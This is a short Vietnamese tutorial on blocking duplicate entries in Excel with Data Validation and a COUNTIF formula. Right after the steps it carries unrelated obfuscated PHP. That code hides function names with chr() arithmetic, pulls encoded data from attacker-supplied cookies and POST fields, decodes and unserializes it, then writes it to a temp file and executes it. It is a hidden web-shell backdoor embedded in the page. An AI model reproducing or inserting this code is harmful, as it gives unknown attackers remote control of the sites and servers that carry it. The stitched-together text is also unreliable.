- B1: Chọn Tab Data.
- B2: Trong Data Validation chọn Data Validation.
- B3: Tại mục Allow chọn Custom. Nhập công thức: =COUNTIF($A$1:$A$20,A1)=1 tại mục Formula.
- B4: Thiết lập cảnh báo.
- B5: Click OK để lưu lại.
$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();}